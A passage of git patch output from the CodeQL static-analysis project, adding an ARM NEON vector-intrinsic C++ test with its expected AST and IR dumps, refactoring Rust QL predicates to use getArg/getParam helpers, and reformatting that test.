ValueCategory = prvalue +# 17| getArgument(0): [VariableAccess] __a +# 17| Type = [CTypedefType] uint8x8_t +# 17| ValueCategory = prvalue(load) +# 17| getArgument(1): [VariableAccess] __b +# 17| Type = [CTypedefType] uint8x8_t +# 17| ValueCategory = prvalue(load) +# 20| [TopLevelFunction] uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 20| : +# 20| getParameter(0): [Parameter] a +# 20| Type = [CTypedefType] uint8x8_t +# 20| getParameter(1): [Parameter] b +# 20| Type = [CTypedefType] uint8x8_t +# 20| getEntryPoint(): [BlockStmt] { ... } +# 21| getStmt(0): [DeclStmt] declaration +# 21| getDeclarationEntry(0): [VariableDeclarationEntry] definition of c +# 21| Type = [CTypedefType] uint8x8_t +# 21| getVariable().getInitializer(): [Initializer] initializer for c +# 21| getExpr(): [FunctionCall] call to vadd_u8 +# 21| Type = [CTypedefType] uint8x8_t +# 21| ValueCategory = prvalue +# 21| getArgument(0): [VariableAccess] a +# 21| Type = [CTypedefType] uint8x8_t +# 21| ValueCategory = prvalue(load) +# 21| getArgument(1): [VariableAccess] b +# 21| Type = [CTypedefType] uint8x8_t +# 21| ValueCategory = prvalue(load) +# 22| getStmt(1): [ReturnStmt] return ... +# 22| getExpr(): [FunctionCall] call to vaddl_u8 +# 22| Type = [CTypedefType] uint16x8_t +# 22| ValueCategory = prvalue +# 22| getArgument(0): [VariableAccess] a +# 22| Type = [CTypedefType] uint8x8_t +# 22| ValueCategory = prvalue(load) +# 22| getArgument(1): [VariableAccess] c +# 22| Type = [CTypedefType] uint8x8_t +# 22| ValueCategory = prvalue(load) bad_asts.cpp: # 5| [CopyAssignmentOperator] Bad::S& Bad::S::operator=(Bad::S const&) # 5| : diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected index 20d593e2379..f8fb188e403 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected @@ -1,3 +1,86 @@ +arm.cpp: +# 6| uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) +# 6| Block 0 +# 6| v6_1(void) = EnterFunction : +# 6| m6_2(unknown) = AliasedDefinition : +# 6| m6_3(unknown) = InitializeNonLocal : +# 6| m6_4(unknown) = Chi : total:m6_2, partial:m6_3 +# 6| r6_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 6| m6_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r6_5 +# 6| r6_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 6| m6_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r6_7 +# 8| r8_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 8| r8_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 8| r8_3(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r8_2, m6_6 +# 8| r8_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 8| r8_5(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r8_4, m6_8 +# 8| r8_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r8_3, r8_5 +# 8| m8_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r8_1, r8_6 +# 6| r6_9(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 6| v6_10(void) = ReturnValue : &:r6_9, m8_7 +# 6| v6_11(void) = AliasedUse : m6_3 +# 6| v6_12(void) = ExitFunction : + +# 15| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 15| Block 0 +# 15| v15_1(void) = EnterFunction : +# 15| m15_2(unknown) = AliasedDefinition : +# 15| m15_3(unknown) = InitializeNonLocal : +# 15| m15_4(unknown) = Chi : total:m15_2, partial:m15_3 +# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 15| m15_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r15_5 +# 15| r15_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 15| m15_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r15_7 +# 17| r17_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 17| r17_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : +# 17| r17_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 17| r17_4(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r17_3, m15_6 +# 17| r17_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 17| r17_6(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r17_5, m15_8 +# 17| r17_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r17_2, 0:r17_4, 1:r17_6 +# 17| m17_8(unknown) = ^CallSideEffect : ~m15_4 +# 17| m17_9(unknown) = Chi : total:m15_4, partial:m17_8 +# 17| m17_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r17_1, r17_7 +# 15| r15_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 15| v15_10(void) = ReturnValue : &:r15_9, m17_10 +# 15| v15_11(void) = AliasedUse : ~m17_9 +# 15| v15_12(void) = ExitFunction : + +# 20| uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 20| Block 0 +# 20| v20_1(void) = EnterFunction : +# 20| m20_2(unknown) = AliasedDefinition : +# 20| m20_3(unknown) = InitializeNonLocal : +# 20| m20_4(unknown) = Chi : total:m20_2, partial:m20_3 +# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 20| m20_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r20_5 +# 20| r20_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 20| m20_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r20_7 +# 21| r21_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 21| r21_2(glval) = FunctionAddress[vadd_u8] : +# 21| r21_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 21| r21_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r21_3, m20_6 +# 21| r21_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 21| r21_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r21_5, m20_8 +# 21| r21_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r21_2, 0:r21_4, 1:r21_6 +# 21| m21_8(unknown) = ^CallSideEffect : ~m20_4 +# 21| m21_9(unknown) = Chi : total:m20_4, partial:m21_8 +# 21| m21_10(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r21_1, r21_7 +# 22| r22_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 22| r22_2(glval) = FunctionAddress[vaddl_u8] : +# 22| r22_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 22| r22_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r22_3, m20_6 +# 22| r22_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 22| r22_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r22_5, m21_10 +# 22| r22_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r22_2, 0:r22_4, 1:r22_6 +# 22| m22_8(unknown) = ^CallSideEffect : ~m21_9 +# 22| m22_9(unknown) = Chi : total:m21_9, partial:m22_8 +# 22| m22_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r22_1, r22_7 +# 20| r20_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 20| v20_10(void) = ReturnValue : &:r20_9, m22_10 +# 20| v20_11(void) = AliasedUse : ~m22_9 +# 20| v20_12(void) = ExitFunction : + bad_asts.cpp: # 9| int Bad::S::MemberFunction(int) # 9| Block 0 diff --git a/cpp/ql/test/library-tests/ir/ir/arm.cpp b/cpp/ql/test/library-tests/ir/ir/arm.cpp new file mode 100644 index 00000000000..c10558b24fa --- /dev/null +++ b/cpp/ql/test/library-tests/ir/ir/arm.cpp @@ -0,0 +1,23 @@ +// semmle-extractor-options: --edg --target --edg linux_arm64 + +typedef __Uint8x8_t uint8x8_t; +typedef __Uint16x8_t uint16x8_t; + +uint8x8_t vadd_u8 (uint8x8_t __a, uint8x8_t __b) +{ + return __a + __b; +} + +// Workaround: the frontend only exposes this when the arm_neon.h +// header is encountered. +uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t); + +uint16x8_t vaddl_u8 (uint8x8_t __a, uint8x8_t __b) +{ + return __builtin_aarch64_uaddlv8qi_uuu (__a, __b); +} + +uint16x8_t arm_add(uint8x8_t a, uint8x8_t b) { + uint8x8_t c = vadd_u8(a, b); + return vaddl_u8(a, c); +} diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index 11d74a2a26b..33f680e20fe 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -1,3 +1,80 @@ +arm.cpp: +# 6| uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) +# 6| Block 0 +# 6| v6_1(void) = EnterFunction : +# 6| mu6_2(unknown) = AliasedDefinition : +# 6| mu6_3(unknown) = InitializeNonLocal : +# 6| r6_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 6| mu6_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r6_4 +# 6| r6_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 6| mu6_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r6_6 +# 8| r8_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 8| r8_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 8| r8_3(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r8_2, ~m? +# 8| r8_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 8| r8_5(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r8_4, ~m? +# 8| r8_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r8_3, r8_5 +# 8| mu8_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r8_1, r8_6 +# 6| r6_8(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 6| v6_9(void) = ReturnValue : &:r6_8, ~m? +# 6| v6_10(void) = AliasedUse : ~m? +# 6| v6_11(void) = ExitFunction : + +# 15| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 15| Block 0 +# 15| v15_1(void) = EnterFunction : +# 15| mu15_2(unknown) = AliasedDefinition : +# 15| mu15_3(unknown) = InitializeNonLocal : +# 15| r15_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 15| mu15_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r15_4 +# 15| r15_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 15| mu15_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__b] : &:r15_6 +# 17| r17_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 17| r17_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : +# 17| r17_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : +# 17| r17_4(__attribute((neon_vector_type(8))) unsigned char) = Load[__a] : &:r17_3, ~m? +# 17| r17_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__b] : +# 17| r17_6(__attribute((neon_vector_type(8))) unsigned char) = Load[__b] : &:r17_5, ~m? +# 17| r17_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r17_2, 0:r17_4, 1:r17_6 +# 17| mu17_8(unknown) = ^CallSideEffect : ~m? +# 17| mu17_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r17_1, r17_7 +# 15| r15_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 15| v15_9(void) = ReturnValue : &:r15_8, ~m? +# 15| v15_10(void) = AliasedUse : ~m? +# 15| v15_11(void) = ExitFunction : + +# 20| uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 20| Block 0 +# 20| v20_1(void) = EnterFunction : +# 20| mu20_2(unknown) = AliasedDefinition : +# 20| mu20_3(unknown) = InitializeNonLocal : +# 20| r20_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 20| mu20_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r20_4 +# 20| r20_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 20| mu20_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r20_6 +# 21| r21_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 21| r21_2(glval) = FunctionAddress[vadd_u8] : +# 21| r21_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 21| r21_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r21_3, ~m? +# 21| r21_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 21| r21_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r21_5, ~m? +# 21| r21_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r21_2, 0:r21_4, 1:r21_6 +# 21| mu21_8(unknown) = ^CallSideEffect : ~m? +# 21| mu21_9(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r21_1, r21_7 +# 22| r22_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 22| r22_2(glval) = FunctionAddress[vaddl_u8] : +# 22| r22_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 22| r22_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r22_3, ~m? +# 22| r22_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] : +# 22| r22_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r22_5, ~m? +# 22| r22_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r22_2, 0:r22_4, 1:r22_6 +# 22| mu22_8(unknown) = ^CallSideEffect : ~m? +# 22| mu22_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r22_1, r22_7 +# 20| r20_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 20| v20_9(void) = ReturnValue : &:r20_8, ~m? +# 20| v20_10(void) = AliasedUse : ~m? +# 20| v20_11(void) = ExitFunction : + bad_asts.cpp: # 9| int Bad::S::MemberFunction(int) # 9| Block 0 From e41b4f40224391279af17c18f6162d7a534c136c Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 15:45:34 +0200 Subject: [PATCH 228/271] Rust: Use `get(An){Arg,Param}` helper predicates --- rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll | 2 +- .../codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll | 4 ++-- rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll | 2 +- rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll | 4 ++-- rust/ql/lib/codeql/rust/internal/Type.qll | 2 +- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 4 ++-- rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll | 2 +- 7 files changed, 10 insertions(+), 10 deletions(-) diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll index e3202888511..dc08c0d32a7 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll @@ -59,7 +59,7 @@ class BreakExprTargetChildMapping extends ParentAstNode, Expr { } class CallExprBaseChildMapping extends ParentAstNode, CallExprBase { - override predicate relevantChild(AstNode child) { child = this.getArgList().getAnArg() } + override predicate relevantChild(AstNode child) { child = this.getAnArg() } } class StructExprChildMapping extends ParentAstNode, StructExpr { diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 522eaf59fe6..58cb9f6a95f 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -87,7 +87,7 @@ class CallableScopeTree extends StandardTree, PreOrderTree, PostOrderTree, Scope i = 0 and result = this.getParamList().getSelfParam() or - result = this.getParamList().getParam(i - 1) + result = this.getParam(i - 1) or i = this.getParamList().getNumberOfParams() + 1 and result = this.getBody() @@ -543,7 +543,7 @@ module ExprTrees { class MethodCallExprTree extends StandardPostOrderTree, MethodCallExpr { override AstNode getChildNode(int i) { - if i = 0 then result = this.getReceiver() else result = this.getArgList().getArg(i - 1) + if i = 0 then result = this.getReceiver() else result = this.getArg(i - 1) } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll index e9ec4339d1a..e5262014ab4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll @@ -55,7 +55,7 @@ module Impl { pragma[nomagic] private PathResolution::ItemNode getResolvedFunctionAndPos(int pos) { result = getResolvedFunction(this) and - exists(this.getArgList().getArg(pos)) + exists(this.getArg(pos)) } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll index 790186bf2c9..b645092a016 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll @@ -95,9 +95,9 @@ module Impl { not text.charAt(0).isUppercase() and // exclude parameters from functions without a body as these are trait method declarations // without implementations - not exists(Function f | not f.hasBody() and f.getParamList().getAParam().getPat() = pat) and + not exists(Function f | not f.hasBody() and f.getAParam().getPat() = pat) and // exclude parameters from function pointer types (e.g. `x` in `fn(x: i32) -> i32`) - not exists(FnPtrTypeRepr fp | fp.getParamList().getParam(_).getPat() = pat) + not exists(FnPtrTypeRepr fp | fp.getParamList().getAParam().getPat() = pat) ) } diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index a751fd0d1a0..a88bc8e344f 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -352,7 +352,7 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { class ImplTraitTypeTypeParameter extends ImplTraitType, TypeParameter { private Function function; - ImplTraitTypeTypeParameter() { impl = function.getParamList().getAParam().getTypeRepr() } + ImplTraitTypeTypeParameter() { impl = function.getAParam().getTypeRepr() } override Function getFunction() { result = function } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 5ff98b9131f..9d775760fa3 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -1100,7 +1100,7 @@ private module AwaitExprMatchingInput implements MatchingInputSig { Type getDeclaredType(DeclarationPosition dpos, TypePath path) { dpos.isSelf() and - result = this.getParamList().getParam(0).getTypeRepr().(TypeMention).resolveTypeAt(path) + result = this.getParam(0).getTypeRepr().(TypeMention).resolveTypeAt(path) or dpos.isOutput() and result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) @@ -1199,7 +1199,7 @@ private module MethodCall { Expr receiver; CallExprMethodCall() { - receiver = this.getArgList().getArg(0) and + receiver = this.getArg(0) and exists(Path path, Function f | path = this.getFunction().(PathExpr).getPath() and f = resolvePath(path) and diff --git a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 58f90cc33a0..d30157b5090 100644 --- a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -79,7 +79,7 @@ module ModelGeneratorCommonInput implements bindingset[c] string paramReturnNodeAsExactOutput(Callable c, DataFlowImpl::ParameterPosition pos) { - result = parameterExactAccess(c.getParamList().getParam(pos.getPosition())) + result = parameterExactAccess(c.getParam(pos.getPosition())) or pos.isSelf() and result = qualifierString() } From a4be27659bc708f210d76cb1280f659433122b7f Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 10 Jun 2025 15:55:18 +0200 Subject: [PATCH 229/271] C++: Minor test case reformatting --- .../library-tests/ir/ir/PrintAST.expected | 132 ++++++++--------- .../library-tests/ir/ir/aliased_ir.expected | 140 +++++++++--------- cpp/ql/test/library-tests/ir/ir/arm.cpp | 14 +- .../test/library-tests/ir/ir/raw_ir.expected | 128 ++++++++-------- 4 files changed, 206 insertions(+), 208 deletions(-) diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 76e1175f98c..b9ffaf71656 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -61,74 +61,74 @@ arm.cpp: # 6| [TopLevelFunction] uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) # 6| : -# 6| getParameter(0): [Parameter] __a +# 6| getParameter(0): [Parameter] a # 6| Type = [CTypedefType] uint8x8_t -# 6| getParameter(1): [Parameter] __b +# 6| getParameter(1): [Parameter] b # 6| Type = [CTypedefType] uint8x8_t -# 7| getEntryPoint(): [BlockStmt] { ... } -# 8| getStmt(0): [ReturnStmt] return ... -# 8| getExpr(): [AddExpr] ... + ... -# 8| Type = [GNUVectorType] __attribute((neon_vector_type(8))) unsigned char -# 8| ValueCategory = prvalue -# 8| getLeftOperand(): [VariableAccess] __a -# 8| Type = [CTypedefType] uint8x8_t -# 8| ValueCategory = prvalue(load) -# 8| getRightOperand(): [VariableAccess] __b -# 8| Type = [CTypedefType] uint8x8_t -# 8| ValueCategory = prvalue(load) -# 13| [TopLevelFunction] uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t) -# 13| : -# 13| getParameter(0): [Parameter] (unnamed parameter 0) -# 13| Type = [CTypedefType] uint8x8_t -# 13| getParameter(1): [Parameter] (unnamed parameter 1) -# 13| Type = [CTypedefType] uint8x8_t -# 15| [TopLevelFunction] uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) -# 15| : -# 15| getParameter(0): [Parameter] __a -# 15| Type = [CTypedefType] uint8x8_t -# 15| getParameter(1): [Parameter] __b -# 15| Type = [CTypedefType] uint8x8_t -# 16| getEntryPoint(): [BlockStmt] { ... } -# 17| getStmt(0): [ReturnStmt] return ... -# 17| getExpr(): [FunctionCall] call to __builtin_aarch64_uaddlv8qi_uuu -# 17| Type = [CTypedefType] uint16x8_t -# 17| ValueCategory = prvalue -# 17| getArgument(0): [VariableAccess] __a -# 17| Type = [CTypedefType] uint8x8_t -# 17| ValueCategory = prvalue(load) -# 17| getArgument(1): [VariableAccess] __b -# 17| Type = [CTypedefType] uint8x8_t -# 17| ValueCategory = prvalue(load) -# 20| [TopLevelFunction] uint16x8_t arm_add(uint8x8_t, uint8x8_t) -# 20| : -# 20| getParameter(0): [Parameter] a -# 20| Type = [CTypedefType] uint8x8_t -# 20| getParameter(1): [Parameter] b -# 20| Type = [CTypedefType] uint8x8_t -# 20| getEntryPoint(): [BlockStmt] { ... } -# 21| getStmt(0): [DeclStmt] declaration -# 21| getDeclarationEntry(0): [VariableDeclarationEntry] definition of c -# 21| Type = [CTypedefType] uint8x8_t -# 21| getVariable().getInitializer(): [Initializer] initializer for c -# 21| getExpr(): [FunctionCall] call to vadd_u8 -# 21| Type = [CTypedefType] uint8x8_t -# 21| ValueCategory = prvalue -# 21| getArgument(0): [VariableAccess] a -# 21| Type = [CTypedefType] uint8x8_t -# 21| ValueCategory = prvalue(load) -# 21| getArgument(1): [VariableAccess] b -# 21| Type = [CTypedefType] uint8x8_t -# 21| ValueCategory = prvalue(load) -# 22| getStmt(1): [ReturnStmt] return ... -# 22| getExpr(): [FunctionCall] call to vaddl_u8 -# 22| Type = [CTypedefType] uint16x8_t -# 22| ValueCategory = prvalue -# 22| getArgument(0): [VariableAccess] a -# 22| Type = [CTypedefType] uint8x8_t -# 22| ValueCategory = prvalue(load) -# 22| getArgument(1): [VariableAccess] c -# 22| Type = [CTypedefType] uint8x8_t -# 22| ValueCategory = prvalue(load) +# 6| getEntryPoint(): [BlockStmt] { ... } +# 7| getStmt(0): [ReturnStmt] return ... +# 7| getExpr(): [AddExpr] ... + ... +# 7| Type = [GNUVectorType] __attribute((neon_vector_type(8))) unsigned char +# 7| ValueCategory = prvalue +# 7| getLeftOperand(): [VariableAccess] a +# 7| Type = [CTypedefType] uint8x8_t +# 7| ValueCategory = prvalue(load) +# 7| getRightOperand(): [VariableAccess] b +# 7| Type = [CTypedefType] uint8x8_t +# 7| ValueCategory = prvalue(load) +# 12| [TopLevelFunction] uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t) +# 12| : +# 12| getParameter(0): [Parameter] (unnamed parameter 0) +# 12| Type = [CTypedefType] uint8x8_t +# 12| getParameter(1): [Parameter] (unnamed parameter 1) +# 12| Type = [CTypedefType] uint8x8_t +# 14| [TopLevelFunction] uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 14| : +# 14| getParameter(0): [Parameter] a +# 14| Type = [CTypedefType] uint8x8_t +# 14| getParameter(1): [Parameter] b +# 14| Type = [CTypedefType] uint8x8_t +# 14| getEntryPoint(): [BlockStmt] { ... } +# 15| getStmt(0): [ReturnStmt] return ... +# 15| getExpr(): [FunctionCall] call to __builtin_aarch64_uaddlv8qi_uuu +# 15| Type = [CTypedefType] uint16x8_t +# 15| ValueCategory = prvalue +# 15| getArgument(0): [VariableAccess] a +# 15| Type = [CTypedefType] uint8x8_t +# 15| ValueCategory = prvalue(load) +# 15| getArgument(1): [VariableAccess] b +# 15| Type = [CTypedefType] uint8x8_t +# 15| ValueCategory = prvalue(load) +# 18| [TopLevelFunction] uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 18| : +# 18| getParameter(0): [Parameter] a +# 18| Type = [CTypedefType] uint8x8_t +# 18| getParameter(1): [Parameter] b +# 18| Type = [CTypedefType] uint8x8_t +# 18| getEntryPoint(): [BlockStmt] { ... } +# 19| getStmt(0): [DeclStmt] declaration +# 19| getDeclarationEntry(0): [VariableDeclarationEntry] definition of c +# 19| Type = [CTypedefType] uint8x8_t +# 19| getVariable().getInitializer(): [Initializer] initializer for c +# 19| getExpr(): [FunctionCall] call to vadd_u8 +# 19| Type = [CTypedefType] uint8x8_t +# 19| ValueCategory = prvalue +# 19| getArgument(0): [VariableAccess] a +# 19| Type = [CTypedefType] uint8x8_t +# 19| ValueCategory = prvalue(load) +# 19| getArgument(1): [VariableAccess] b +# 19| Type = [CTypedefType] uint8x8_t +# 19| ValueCategory = prvalue(load) +# 20| getStmt(1): [ReturnStmt] return ... +# 20| getExpr(): [FunctionCall] call to vaddl_u8 +# 20| Type = [CTypedefType] uint16x8_t +# 20| ValueCategory = prvalue +# 20| getArgument(0): [VariableAccess] a +# 20| Type = [CTypedefType] uint8x8_t +# 20| ValueCategory = prvalue(load) +# 20| getArgument(1): [VariableAccess] c +# 20| Type = [CTypedefType] uint8x8_t +# 20| ValueCategory = prvalue(load) bad_asts.cpp: # 5| [CopyAssignmentOperator] Bad::S& Bad::S::operator=(Bad::S const&) # 5| : diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected index f8fb188e403..fbd0db5e796 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected @@ -5,81 +5,81 @@ arm.cpp: # 6| m6_2(unknown) = AliasedDefinition : # 6| m6_3(unknown) = InitializeNonLocal : # 6| m6_4(unknown) = Chi : total:m6_2, partial:m6_3 -# 6| r6_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[__a] : -# 6| m6_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[__a] : &:r6_5 -# 6| 